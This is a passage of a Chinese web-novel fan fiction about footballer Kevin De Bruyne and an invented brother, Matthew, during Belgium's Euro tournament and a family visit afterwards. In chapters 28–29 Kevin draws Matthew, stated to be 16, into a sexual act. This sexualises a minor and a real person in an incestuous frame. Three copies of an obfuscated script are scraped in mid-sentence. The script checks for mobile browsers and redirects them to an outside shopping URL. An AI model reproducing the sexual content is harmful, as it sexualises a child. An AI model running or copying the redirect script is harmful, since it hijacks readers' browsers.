“唉。”凯文摇头表示无奈,只好跟在后面追他俩,一边小跑一边说:“蒂博,你放开我弟弟,他不能喝酒!” 库尔图瓦向后面做了个噤声的手势,又指了指别的房门,怕凯文说的话让教练组听去了。 整个晚上,他俩都在听库尔图瓦在讲情史,把凯文听睡着了,只有马修还在瞪着大眼睛听,时不时的发出哇的声音,倒不是想配合他,主要是库尔图瓦讲的都太炸裂了,什么同时交三个女朋友,看谁对他认真,还有马德里的小姐都超级漂亮,小伙更漂亮,和你差不多,想猎一个试试。 马修哇不出来了,他对库尔图瓦的印象评分已经掘地三尺了,就差把他拉黑了。等有机会他要告诉凯文,这朋友不要也罢。 * 第二天,二队发了通告,说有人半夜跑去一队的房间玩到很晚,又去楼顶喝酒喝到半夜,严重影响备战状态,因此要加强二队的纪律管理,禁止他们和一队来往,亲属也不行!很快就要飞去波兰,如果二队有人不遵守纪律,谁也别想跟着去学习了。 这明摆着是说马修,吓的他不敢再越雷池,只好老老实实地呆在二队里训练。这次经费有限,二队只有5个名额可以跟着去波兰,他非常想去,可以陪哥哥去参加欧洲杯小组赛是多么棒的体验,但他是球员里年龄最小的,自觉希望不大。 可他存在感一点都不弱,说来也巧,他好像天生就有打杂的体质,教练们用他用的顺手,他就像不知疲倦的小陀螺,一叫他就兴冲冲地跑过来,传个话,摆个装备,收纳物品等等,他干活麻利脑瓜聪明,很多活不用细说他就会干,而且干的很让人放心,连设备管理员找不着东西了都来问他。 队友们调侃他是踢球里打杂天赋最高的人,又是打杂里最会踢球的人。因为他每天都精力旺盛,有时候队友们扔给他一件鲜艳的训练服,让他站在训练场边的媒体拍摄区,捡球,踢回来,跑来跑去顺便卖个萌,给二队也增加点镜头拉点人气。 闹归闹,马修仍然坚持最后一个离开训练场,努力加练球技,设备管理员总是吐槽他,“不要老是自主加班,又没有加班费,还耽误我下班。”所以整理标志服、拉力带、训练用球这些东西他就主动干了。 马修一边说着抱歉,一边来回跑着帮设备管理员收纳物品,时间久了,设备管理员直接撒手不管了,反正马修练完了会帮他收拾好,不耽误第二天使用就行。 这天又是训练到很晚,因为明天就要公布去波兰的大名单和随行人员了。 马修今天特别不在状态,总有一种要落选的感觉。他漫不经心地把球一个一个踢回拉杆车里,准备收拾收拾回去了。 这时他听见不远处传来砰砰的大力射门声,他隔着护网往那边看去,就在隔壁一队的训练场地,有一个人站在门前练习射门。 不是凯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 文是谁,这暴力抽射,打的门柱横梁铮铮的响,好像在演奏一曲震撼的交响乐。 马修呆呆地看,心想:他干嘛打铁打的这么来劲,快把球门都打偏移了,是有什么烦心事吗,这么暴躁,要不要过去问问。转念一想,还是不要了,明天就要公布名单了,我再被发现和一队的混在一起,一准不让我去了,还是忍着吧。 他低头去整理装备,还在想一会等凯文走了,自己把他那边剩下的装备也一并收拾了。 刚要推着拉杆车走出场外,凯文就抱着球出现在了二队的场地里。 马修低着头往前走,也没发现他,直到看到他脚上一双橙色的球鞋才反应过来,差点撞在他身上。 “走路不看人的吗?”凯文看他看到自己吓了一跳的样子,想笑又收住了,抬手点了点他的脑门。 “哥……”马修喊了他一声,心想,哪有人专门堵住别人的路,还怪人不看人的。 “陪我练会。”凯文抱着球来到二队的球门前。 马修跟在他后面,不敢靠近。 “怎么了?我身上有刺吗?”凯文走回去,抓住他肩膀像拎小鸡一样地拎着他往前走。 “不是,我怕被人看见。”马修小声说,然后又四处张望了一圈。 “你偷东西了还是怎么了,怕什么怕!” 这里哪有什么值钱的东西好偷,最值钱的就是一队这个大前腰了,马修心想。 凯文拉着他加训,给他表演了一番“打铁”,惊的马修嘴巴张得圆圆的,说:“你怎么可以这么准,打了5个右上角。” “哈哈哈……”凯文大笑,“是准还是不准啊?” “当然是准了,我知道你是故意的对不对?你就是想要告诉我,追求角度的重要性。” “那么聪明呢!怎么不见你把聪明劲儿用到踢球上,总是干些没用的。” 马修挠挠头,不好意思的接受着他的批评。 落日的余晖将他们的身影拉长,两人在球场上奔跑追逐,好像两个晃动的光影,用美丽的弧线诠释着足球带给他们的希望。 只有两个人练球,互为攻防,马修依然是被凯文耍的团团转,很难抢到球。 凯文说:“你去守门吧,我外围打几个,咱就收工。” “好!”马修像模像样地带上了守门员手套,准备来一个华丽丽的扑救。 谁知这球从禁区外打过来跟一枚炮弹一样,嗖地飞过来,马修想把球抱住,结果连人带球一起飞网里去了。 “啊!!”马修闷声叫了出来,从球网里往外爬了几步就倒下了。 吓的凯文呼呼地奔跑过来,询问他没事吧,球速不算很快啊,而且他也抱住了。 “很疼吗?”凯文弯着腰,把手搭在他肩膀上。 “不……不疼……就是……震的我发麻。” 马修捂着肚子,蜷缩在地上,说话断断续续的,极力掩饰痛苦的表情,过了好一会,他才平躺下来。 凯文盯着他到处看,还翻开他的手捏捏他的肚子,不放心的问他:“是不是踢到哪里了?” “没,没踢到。”马修躺在草坪上,等着这一波酸麻劲儿过去,确实没踢到关键部位,但是震的他小腹往下都麻了,一时也站不起来。 “我看看。”凯文伸手要掀开他的衣服。 马修抓着衣服下摆不让他看,连声说:“没事,没事。” 还是被凯文给掀开了,冷白的皮肤上被打了一个红红的印子,就在肚脐下边的位置。 “呼!好险。”凯文擦了一把冷汗,说:“我差点犯错误。” 接着他跪下来,轻轻揉了揉马修的小腹,带着几分歉意说道:“以后你可千万别守门了,蒂博都没你豁得出去。” 马修失笑,但一笑肚子又疼,话也说不出来了。他想:你自己多大脚劲儿是一点数都没有,把我踢坏了,得养我一辈子了。 28.私人按摩师 第二天公布去波兰的名单,马修竟然被选上了,原因很简单,经费不足,少带点工作人员多带点球员,像马修这样的球员还可以再多带两个。 果然,马修跟着去了波兰以后,就被叫到一队去服务了。 第一场对阵克罗地亚,一上来就是对攻的快节奏,对方人高马大,利用身体优势迅速抢占先机,风格非常凶猛。 马修在饮水机旁边,上半场出现了3次场上治疗,他接水都忙不过来了,还要给医疗组准备绷带、冰袋和药水,不一会就忙的他晕头转向,连设备箱钥匙也找不着了。 设备管理员是个大叔,就他自己管理着整个队伍的应急设备,有一个万能设备箱,里面除了一些小的热身用品之外,还有一些球员的个人物品,他们懒得自己拿,就都装在设备箱里了,比如抗过敏药膏、冷敷贴、肌肉贴和筋膜枪等,这些稀奇古怪的东西大叔不太熟,索性把钥匙也交给马修保管了。 马修东找西找,终于在一堆药瓶里找到了,吓得他一身冷汗,这要是找不着,一队的大哥们还不把他给吃了。关键是他怕服务不好,给国家队制造不必要的麻烦,那可就责任大了。 一场下来,细心的人会发现,场下的马修比场上的球员还累,操的心比教练还多。他跑前跑后地一会折腾设备箱,一会捣鼓饮水机,一会又跟着收发水壶和替补标志衫,忙的他都没法好好看哥哥比赛。 凯文专心比赛,因为有马修在现场他踢的越来越来劲,这可是代表国家队在欧洲杯的赛场上,要踢的格外用心才行。 他想马修一定在看着他,冒着星星眼崇拜着他,在给他加油呐喊,一想到这些他就浑身充满了力量,迈开大步,跑前跑后地制造进攻机会。 场上势均力敌,要尽快进个球打破僵局才行,可无论是传中制导还是内切打门都被对方后卫给解围出来。这时他不经意的瞥了一眼在替补席上的马修,发现他正在忙着接水,放水壶,根本没在看,场上前锋又不来接应,气的他外围放了一炮,结果打在横梁上弹了回来。 马修这才听见动静朝场上看了一眼,正看见凯文炸着头毛一甩手对自己的这脚射门发泄不满,又转头对阿扎尔说了些什么,他不明所以接着又跑着把水壶箱子送到队医那里去了。 今天对面的防守太硬了,他们接二连三的放倒了阿扎尔、卢卡库、德里斯,导致进攻不够流畅,最终和克罗地亚握手言和。 第一场没有取得优势,还损伤了三员大将,理疗师都不够用了。球队想从外面租借理疗师,但一时找不到合适的,就只好让内部人员先顶上。 马修也算得上半个理疗师了,他上辈子就在干这个,但是这辈子,知道他有这门手艺的只有凯文一个人,他才不舍得他宝贝弟弟给别人按摩理疗呢,他主动和教练说,不用给我准备理疗师了,我弟弟就行,前提是别让他再干别的活了。 主教练威尔莫茨正发愁这几个受伤球员的理疗问题,想着用这三个仅有的专业人士能够尽快帮助他们恢复,凯文主动和他说自己不用理疗,他一口答应下来,把马修安排给了凯文,并嘱咐马修,给我把凯文伺候的舒舒服服的,千万不能出问题。 那还不手到擒来,伺候凯文是马修的特长。于是,马修如愿以偿的又成了凯文的小跟班。 第一场强度就这么大,一家人回到酒店后,好多人都去了理疗室。 酒店还有别的国家队,各个功能房都人满为患,分给他们的理疗室也是临时划出来的,里面还有一些没整理的杂物堆在墙角,地上只摆放着几张训练垫子,球员们就躺在垫子上接受肌肉放松按摩,看上去比国家队训练基地的条件差多了。 比利时的三个理疗师提前带着几个“徒弟”先学习一下理疗手法,等着球员们吃完饭来放松理疗。这几个徒弟之中就包括马修,他正认真的学习怎么按摩大腿肌肉,他上辈子给人家理疗过,自然学得快,没一会就掌握了手法,就等着凯文来实际操作了。 理疗师正夸奖马修学得快手法很专业,不做理疗师浪费了,一队球员就三三两两的结伴进来了。 三个肌肉拉伤的球员占用了专业理疗师,徒弟们就给其他人做按摩,马修自然是凯文专属的理疗师。 这么一来,马修还有点害羞,他还从来没试过把哥哥的大腿抱在怀里揉捏是什么感觉,以前顶多是给他捏捏肩膀,揉揉脚踝。 凯文躺在垫子上,伸给他一只脚,他学着其他理疗师的动作把他的脚抱在怀里,顶在胸膛上,从小腿肌肉开始一点一点的往上揉。 还有两三个在等,看见马修给哥哥按摩不禁羡慕嫉妒起来,调侃凯文正享受国王待遇,职业球员给按摩,还是比甲球员,珍惜吧,以后马修要是成名了才不会给别人做这种事。 马修一边给哥哥揉腿一边笑着回答他们,“为哥哥服务是我的荣幸。” 凯文得意的笑笑,不理他们,双手交叠在脑后,安心享受这份尊贵的爱心按摩。 马修的手仿佛带着魔力,被他揉过的地方好像温水流过,他的手指像弹琴般游走,又像羽毛轻抚,掌心带着热度,一推一按一回拉,很快就把紧绷的肌肉给松弛下来了,腿筋也恢复了弹性,抽纸一般把疲惫给抽走了,揉着按着不知不觉凯文竟然睡着了。 凯文很累,他跑了十几公里,球场到处是他的身影,传导,抢断,过人,内切,打门……他是这支队伍的坚强纽带,连着后场,推着前场,还主动出击,这场踢下来,废了不少心思和体力。 对面也有一个和他扮演差不多角色的人,一个长卷发带着发箍的小个子男人,目光深邃,鼻梁高挺,指挥场上局势时散发着忧郁的王者气质,他叫莫德里奇对吧,马修想等哥哥醒了问问他。 按摩完了左腿,马修又把他的右脚抱在怀里,轻轻的细细的按摩。 过了20分钟,凯文醒了,他看见马修依然单膝跪在地上,抱着他的右脚,揉着他的腿筋。 凯文看他如此认真, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12753685|131785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝恶趣味闪过他的脑海,他用脚触摸他,描画他的肌肉线条,有一种“踩”上去弹弹的感觉。 马修立刻感觉到这只不安分的脚在“触摸”自己,抬眼去看他,他竟把脸侧到一边去装睡。 他脚上来来回回的动作让马修有一种在别人面前被调戏的感觉。他轻轻吸气,再看看周围,好在大家都沉浸在放松的舒适中,没人发现他正在被人揩油,但此刻的他知道自己的脸一定红到了耳根。 他手劲儿适中捏的他不痛不痒,却被他用脚掌深浅不一地“描画”自己的软肉弄的痒的不行,想笑又不敢,怕引起别人的注意,只好忍着,任他发坏。 好多人按完陆陆续续的走了,马修也按的差不多了,刚想问哥哥舒服吗,还要不要再多按一会,凯文就又换了一只脚。 “这只,刚才睡着了,没感觉到,再来一遍。” “好。”马修答应着,换个腿跪着,把他的左脚放在自己的膝盖上,又推了些精油在他的腿上。 “凯文,你要不要这么舒服,这边排队的都做完了,你还来第二次。”文森特看不下去,替马修吐槽这个贪婪的剥削者。 “他手轻,累不着,在家也是这样的。” 马修点了点头,说:“在家按的不如今天,今天学的是专业手法,舒服吧?” “哎哟,真受不了你俩。”文森特给了他们一个嫌弃又嫉妒的表情,然后和几个队友陆陆续续离开了理疗室。 这会,理疗室就只剩他俩了。 “手法不错。”凯文享受了半天终于夸他一句。 “谢谢。”他已经带入了按摩师的角色。 “怎么?要改行了?” “嗯?” 凯文蹬在他肚子上的脚使了使劲儿,把他蹬的身形微微一晃。 他还没明白凯文话里的意思,觉得他又在戏弄自己,突然想趁没人报复他一下,于是大着胆子把手伸进了他的短裤里,两根手指在他大腿内侧的筋上用力一捏,本来期待着他能嗷地叫一声然后加紧自己的双腿,没想到他一用力,把自己给踹飞了。 马修是真没想到他哥哥力气这么大,凯文也没想到。凯文反应过来的时候,马修已经不见了,就听见墙边传来噼里啪啦东西掉落的声音。 凯文坐起来一看,马修被踢到墙角陷在一堆垫子和杂物里,只露出两只朝天的脚。 他赶紧跑过去,扒拉开扣在他头上的垫子和拉伸带,想把他拽出来。 只见马修委屈的抱着自己的膝盖,埋头不理他,也不让他拽。 “对不起,我不是故意的。”凯文弯下身子给他道歉。 “……”马修仍然不抬头。 凯文跪下来,轻轻抚摸他的后脑勺,在他抬头的瞬间突然凑过去含住了他的嘴唇。 马修瞪大了眼睛,虽然没有一个亲亲起不来,但当这个湿漉漉的吻砸下来的时候,他还是浑身一激灵,接着就被他亲倒在身后的一堆软物里面。 29.打道回国 这个时候已经很晚了,理疗师都下班了,这个功能房也是他们比利时队专用,所以也不会有什么人来。 深陷的杂物里的两人比周围的东西都凌乱,凯文每啄他一下他就往垫子缝隙里陷一点,周围就不知道会落下什么稀奇古怪的东西,比如拉伸带、泡沫板、毛巾、护腿板、手套、旗帜什么的。 亲吻就像地震,或者像投币随机掉落礼物,让马修觉得惊喜连连,他看着凯文头顶着一只破手套还在如痴如醉地享用他的舌尖,就忍不住要笑出声来。 而他的轻颤只会换来更加猛烈的进攻,好像发泄着什么不满,又好像在释放这无处安放的体力。 想到这,马修又有一些小小的成就感,他觉得自己的按摩有魔法的力量,可以帮助凯文迅速摆脱疲劳,进入自如的状态,可他没想到这充盈的体力很快就用到了自己身上。 凯文把他捞出来放到垫子上,随手拿了一个玩偶垫在他脑袋下面当枕头,周围还是有一些纸箱子,废布条遮挡着他们,无论是从窗户还是门口都看不到他们,凯文把他困在狭小的空间里,腾出双手来做刚才用脚对他做的事情。 好像带着一种要把他揉碎的意味,凯文又在用怪力了,他用手在记忆他身上骨骼的形状和肌肉的线条,把他摸得又痛又怕,这种在害怕和信任之间摇摆的感觉又让他觉得很满足。 凯文看着他微微克制又荡漾的回应,满意的舔舔嘴唇,一副好像吃到了什么了不得的东西的神情,然后再次居高临下的用虎口卡住他的下巴,看着他的眼睛,用一种张扬的语气对他说:“看着你这双性感的眼睛就想把你吃个精光。” “嗯,你的眼睛也很性感。”马修用不后退的目光回应着他,却被他把脸给捏扁了。 “不许说话。”他又在命令他。 很快马修就说不出话来了,凯文拿着他满是按摩油的手放进他自己的裤子里…… 凯文想看他放浪的一面。 就是对着他做那种事。 马修的脸被他一只手捏住,手被他控制着节奏,顶着一张年轻的无比纯真可爱的脸,手底下却在做着背道而驰的事。 极大地反差让凯文瞬间颅内高C,只好再次堵住他哼出细微软声的嘴,把他的喘息呜咽通通吞进肚子里。 用了不到2分钟,马修就交代在自己手里了。刚才那只破手套派上了用场,凯文用它来擦去痕迹,然后揣进马修的裤子兜里。 马修一副被吃了个透的表情,难以想象他最熟悉的指挥官哥哥会把自己的“按摩师”给按摩了。 以后每天都要给他按摩呢,每次按摩都会想到今天这种事,他可真色,和他一本正经踢球的样子反差好大,但马修喜欢。 但是当马修抓住他的裤腰想“回报”他时,却又被他推开了。 “我没叫你做这个,你回去吧。” “可……”马修被他按住了头,坐在自己脚后跟上,仰着脸看他,面上的红晕还未褪去,而他拽了拽自己的裤腰,调整了一下,就背过身去坐在一边的长凳上,做了一个让他走的手势。 为什么他不让自己为他服务,这已经是第二次拒绝他了。马修感到不解,但也不好直接问,大概是场合不太合适,但他也没有要让他一起回房间的意思,只好听他的,拿起按摩的东西离开了按摩室。 接下来的几场比赛,他们都在很认真的对待,但是队友之间好像不那么默契。 阿扎尔回国家队一直没找到状态,而且他很忙,大概在忙结婚的事,因为总能听见他在电话里说新房子的事,两场比赛一球未进。 卢卡库也差了那么一点点运气,膝盖和脚尖越位两次,进球被判无效。 在对阵罗马尼亚的那场比赛里,凯文单刀扛住一名后卫的追身堵截,一脚把球铲进球门。 整个三场比赛,只有凯文这一个进球,最后比利时以一平两负的成绩被淘汰出局,早早结束了这次欧洲杯之旅。 惆怅迷茫的氛围充斥在整个队伍之间,库尔图瓦一直在抱怨,前锋都看不见,中场拦截稀碎,后卫踢得跟……他看了孔帕尼一眼,没敢继续说下去。 主教练威尔莫茨脸色非常难看,被库尔图瓦这么一总结更是气不打一处来,他一甩手竟然扔下一帮人独自坐飞机回国了。 他回国以后也没逃过记者对他的堵截,还是在飞机落地时被媒体逮住疯狂羞辱了一番,说这就是你们“2000计划”的结果吗? 主教练挨了头骂,队员们也没逃过媒体和球迷犀利的口诛笔伐,还没回国呢就被骂一盘散沙,根本没踢出比利时人想要的足球来,连进了一个球的凯文德布劳内也被骂吃独食,令人失望的表现。 成绩不好,家人也没被邀请去到现场,但也不影响他们和家人短暂的团聚,球员们早早结束了波兰之旅,准备开启度假模式。 德国那边在球员们结束国家赛事之后很快就下发了召集令,让他们赶紧归队准备下个赛季的联赛,时间紧张到来不及消化输球的伤感就要投入到紧张繁忙的工作中去。 但消化不了的伤痛马修会给他消化掉,不知道,他不言不语的,就是有可以驱散伤痛的能力。 他在回程的大巴上,主动来到凯文的旁边,凯文永远坐在最后一排,一个人霸占两个座,因为他一般会在大巴上睡觉,或者听音乐,不喜欢和别人聊天。 马修过来时,他还惊讶了一下,问他:“你怎么不在二队的车里,谁让你上来的?” “这几天一直跟着你,司机都习惯了,我就这样大摇大摆的上来了。” “干嘛?”凯文笑了笑,把旁边座位上的手包拿开,给他让了个座位。 “不干嘛,陪陪你。” “我看起来像需要人陪的样子吗?” “嗯,像。” 凯文抬手就捏住了他的脸,还左右晃了晃,疼的他眼泪一下子就涌出来了,他搓了搓脸,想抱怨哥哥永远都不会轻点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12771857|131785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转念一想捏吧,他高兴就好。 回程的路上,马修和他聊起比赛的事,言语中全是赞美哥哥的用词,什么手术刀直塞,贴地斩,彩虹弧线,还用手夸张的比划那个唯一的进球。 过程重要还是结果重要,凯文在心里反复想这个复杂的话题,在马修想还有什么词来夸他的时候,他突然啪的一声拍了马修的大腿,引得前面的人回头看他俩。 “看什么,转过去!”凯文凶巴巴地回了一句,还赠了好事队友一个白眼。 “当然是结果。”凯文说。 “什么结果?”马修被他突然亢奋吓了一跳。 “你记住,马修,我们永远要结果,无论踢得多好看,输球就是失败,我不想失败,我要的结果就是……”凯文看了他一眼,又好像被他惹到了一样,突然又捏住了他的脸。 “回去给我好好干前锋的活!不要动那些该死的设备!” 这次他没那么用力,而是捏完了又用指尖轻轻的来回抚摸了几下,蓝色眼睛里都是期许的目光。 马修则是瞪大了眼睛看着他,脑子里开始回忆设备,什么设备,设备惹到他了? 很快马修的眼角就弯了起来,搓了搓快被他捏肿了的脸颊,轻轻地吐槽:“哥,我都16了,你还捏我脸。” “你30了,我也捏。”凯文抬起胳膊又圈住了他的脖子,在他耳边轻轻吐出热气,“不仅捏你的脸,你全身都是我的。” “!!”马修的肩膀微微一耸,被他这句带着热气的话给蒸到瞬间脸红。 下了飞机已是深夜,接机记者本来就因为输球采访而烦气,又因为深夜加班而更加暴躁,在大部队抵达时便将“长枪短跑”对准了他们。 球员们也很疲惫,都加快了脚步不想接受采访,但孔帕尼作为队长还是被记者给拦下,问了一些刁钻的问题。 比如:“黄金一代指的是谁?能说说吗?为什么没踢出黄金一代的样子来?” 孔帕尼摇摇头说:“黄金一代还年轻,请大家多给一点时间,我相信我们会踢出大家想要的足球来的。” 凯文阔步走在前面,目不斜视,马修跟在他后面一路小跑,记者的相机在跟拍他们,还对他们喊:“德布劳内兄弟,波兰玩的开心吗?马修,你什么时候上啊?真羡慕你作为家属跟着公费旅游。” 马修狠瞪了记者一眼,换来的是咔嚓咔嚓的快门声,凯文拉着他快步走出通道,对他说:“别理他们,我们能做的就是用成绩来堵他们的嘴,还有你,回去给我狠狠地进球!” 这时凯文手机响了,是爸妈来接机了。真好,不用再坐大巴回训练基地第二天再赶回家,还是家人好,永远不会嫌弃你没成绩,永远都会在你身后给你支持。 想到这,凯文就伸手搂住了马修,又和他贴了贴脸,青涩的胡茬在马修白嫩的小脸上狠蹭了蹭,又把他蹭疼了,终于忍不住抱怨起凯文来,“哥,我的脸左边右边都快出血了。” 30.回家小聚 兄弟俩回到家,一家人又团聚了,11岁的凯茜早就把家里装扮的跟童话王国一样,等待着两位王子的归来。 晨光照在餐桌上,妈妈在厨房忙了一个早上,为他们准备了丰盛的早餐,爸爸一早就在庭院里忙活,等孩子们都起来了,一家人围坐在餐桌旁开始吃早餐。 时光静缓,没有人着急上班,也没有人着急上学,周末凯茜一定会睡到午饭时刻,但今天她好像被吵醒就睡不着了,跑出来看是不是哥哥们回来了。 “呀!凯文!马修!你们回来了怎么不叫我!”凯茜穿着拖鞋哒哒哒地从楼上跑下来。 “嗨!小公主!”马修迎过去,和跑过来的凯茜拥抱,并抱着她转了一圈,哄的凯茜咯咯笑。 凯文则是瞥了她一眼,说:“懒猪,不上学就赖床。” “坏凯文~~”凯茜嘟起嘴吧,掐着腰,走过去使劲打他的胳膊,表达不满。 “凯文,妹妹都想你了,你离得远,几个月没回来了。”妈妈一边给凯茜分餐一边说道。 “才没想他呢,去了德国也不知道给我寄礼物。”凯茜坐到自己的位置上,还在讨伐凯文。 爸爸噗嗤一声笑了,说道:“我的小公主,上次我去德国给你带回来的礼物都是凯文买的,你忘了?” “啊?你说望远镜和德国士兵(摆件)?还有那个毛线熊?”凯茜嚼嚼面包,不太满意的说起来,“你不知道买套化妆品和蓬蓬裙吗?” “下次你想要什么直接告诉我,我懒得费脑子。”凯文吃饱了,站起来顺手摸了摸凯茜的头,把她的头发摸得起了静电,惹得马修忍不住笑。 凯茜整了整头发,冲凯文做了个鬼脸,说:“凯文,没人说你手劲儿太大吗,头发都要被你揪掉了。” 马修听了赶紧低下头喝了一口牛奶。 早饭过后,凯茜就拉着马修去“童话王国”了,客厅的一角,凯茜支了个蓝色的小帐篷,挂满了星星,贴上了旗帜,周围摆了很多士兵、玩偶、气球,用护栏围起来,看上去像个城堡一样。 凯茜长大了已经不玩公主和骑士的游戏了,但制作城堡这种娱乐项目她还是很喜欢的。 马修看到这些玩具还挺逼真,不由得发出赞叹,“现在的玩具都做的这么好了吗?” “嗯,都是琳达姐姐给我买的。” “!!”马修听了心里一惊。 “她真的特别懂我,有时候还陪我玩装修城堡的游戏。” “你是说,她又来了?” “啊,不过最近没来了,不如你邀请她今天或者明天来家里玩吧,咱们四个还可以玩小马宝莉卡牌,我已经很久没玩了,都生疏了。” “这……”马修想到他最近都没回琳达的消息,估计她已经不想理自己了,没想到她还这么执着。 “叫她来玩嘛!”凯茜摇晃着马修的手臂。 “呃,再说吧。” “你不叫我叫,有什么害羞的嘛!” 不用任何人叫,琳达下午就登门拜访了。 她一见到马修就跟热恋中的女人一样,上前就勾住了他的胳膊,怪他不回信息是不是把她给忘了。 然后又很亲密的和他父母拥抱,好像是这个家庭的一员,还没等跟凯文打招呼就被凯茜拉着手去了客厅。 马修看了一眼凯文,发现他也在看自己,蓝色的瞳仁里冒出了两团小火苗。 马修摊了摊手表示这都什么事啊。真的想知道那晚发生了什么,他决定找琳达问个清楚。 他们陪凯茜玩了一会,难得凯文有耐心没把凯茜的牌全赢光,还输了好几把,哄的妹妹很开心,但凯文握过的牌全都跟遭了难一样皱皱巴巴的。 终于趁凯茜去吃水果的时候,马修把琳达叫到后院里要和她把话说清楚。 他俩单独相处,琳达立刻收起了笑容,她似乎对马修不回她信息并不在意,也不像之前那么主动了,她摆出一副胜利者的姿态,还没等马修开口就直截了当的对他说:“怎么?想分手?冷暴力?我不在乎,只要你也不在乎德布劳内家身败名裂就行。” “什么?”马修惊讶的说不出话来,“你到底要干什么?那晚到底发生了什么?” “你还好意思问?那晚你喝多了,和我上床了,我怕你第二天被俱乐部骂,就把你送回根特,你队友出来接的你,怎么你都忘了吗?” “胡说!”马修激动的手都在发抖,他已经失去意识了怎么可能和她上床,再说,他对女人根本不感兴趣,他早就发现自己x取向不对劲了。 “如果你不好好对待这段感情,我就只好发文说你逼我堕胎,让你给德布劳内家庭蒙羞。” “堕胎?”越说越离谱了,搞的马修气不打一出来,这不是赤,裸,裸的污蔑吗? “你在胡说八道吧,琳达,不要以为我才16岁就可以随意拿捏,如果没有确凿的证据,是可以上法庭的。” “要什么证据?观众在乎证据吗?观众只在乎你姓什么,国家队的,你还是异瞳,这真的太吸引眼球了。” 琳达好像突然变了个人,之前明媚可人的少女形象突然变成了大玩心机的恶毒女配。 马修突然看到了她的内心,这女人想嫁入豪门,一看追不上就想敲豪门的竹杠,可马修从来没把自己当成是豪门,德布劳内家庭也不是比利时传统豪门,只是最近家族生意比较开阔,得益于外祖父在非洲中亚的投资,正好需要人打理,而凯文成功转会切尔西,也使得家族产业的知名度获得了新高,外界传凯文是富三代,已经成为了比利时名人。 而马修自然也被人们所熟知,尽管名气没有哥哥大,但拥有一双异瞳的疑似欧亚混血美男子的标签早就让他风靡全比了,甚至世界都开始关注这个16岁的比利时足球少年了,他过于美丽的外表要远高于足球,所带来的附加价值可想而知。自从和马修传出绯闻以来,琳达已经提前毕业并且接到了比莫里斯还要好的电影资源。 马修还愣着,不知道要怎么说服她断了嫁入豪门的念想,这时,他感到手臂被人抓住,往后一拽,接着就被拉到了那人的身后。 凯文清晰冷峻的对琳达说:“什么条件?” “我要名分,金钱,热度,一年,一年之后我红了他想离开随便。” “好。”凯文答应她,“我的助理会联系你,你走吧。” “哼!”琳达瞪了凯文一眼,接着看向门口,眼泪唰的一下就滚落了下来,她走过去对内莉女士撒娇道:“马修欺负我,他说我像个口香糖粘着他不放,谈恋爱不就是这样的嘛,呜呜…” “嗯,他第一次谈恋爱还不懂怎么讨女孩子欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12800531|131785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,原谅他吧。”内莉拍拍琳达的手,故作责怪地对马修说:“马修,对女孩子要谦让一些。” 马修也想哭,他感觉被毒蛇咬了一口,现在毒蛇还在咬着他要吃他的肉而他还不能反抗。 “琳达说她要回去了,我让司机送她。”凯文安排道。 琳达知道再纠缠下去搞不好就露出破绽,她看得出凯文已经不耐烦,于是见好就收,匆匆离开了这里。 琳达走了以后,凯文就没再和马修说话。马修心情跌落至谷底,不知道怎么办才好,这次是真的没有主见了。 经过了漫长的一夜,凯文要出发去德国了,马修也要回根特报到,他们背上各自的行囊准备走向相反的方向,马修很难过,他需要和凯文有一次深入的沟通,可时间不允许,凯文也没给他机会。 凯文一定对自己很失望,他这次去德国不知道多久才能见到,会不会就此把他割舍,马修闭起眼睛,想看到未来。 这时,车子缓缓停在家门口,司机下来把凯文的行李装进后备箱,然后对马修说,“先生让我先送凯文去机场,稍后再送你吧。” 马修本来也没打算先走,他只有30分钟的车程,他是帮凯文拿行李顺便等车的,他刚准备回去叫凯文,凯文就已经站在他身后了。 “哥…”马修轻声叫他,好像做错事了一样抬不起头来。 凯文走上前去,对着他叹了口气。 马修好像听见了自己心碎的声音,还好意思心碎,凯文整个人都要碎掉了,他想,他绝对已经很讨厌自己了,讨厌的恨不得赶紧离开。 正当他六神无主的掰扯自己的手指头时,凯文伸开双臂,身子前倾,上前一步环住了他的双肩,接着抬手把他的头扣在自己的肩膀上,另一只手微微收紧好像铁环一样勒住了他的腰,他也抬手抓住了凯文背上的衣服,委屈的想哭。 “别害怕,有我在。”凯文捋了捋他的后背。 …… 这时一声鸣笛把他思绪拉了回来,原来他真的看到了接下来要发生的画面。 车子在他身边停下来,司机下来拿东西,然后发生了他刚刚看到的一幕。 凯文抱着他,但说的不是那句,他说的是:“你长着一张霍霍女孩的脸没想到却被女孩霍霍了”。 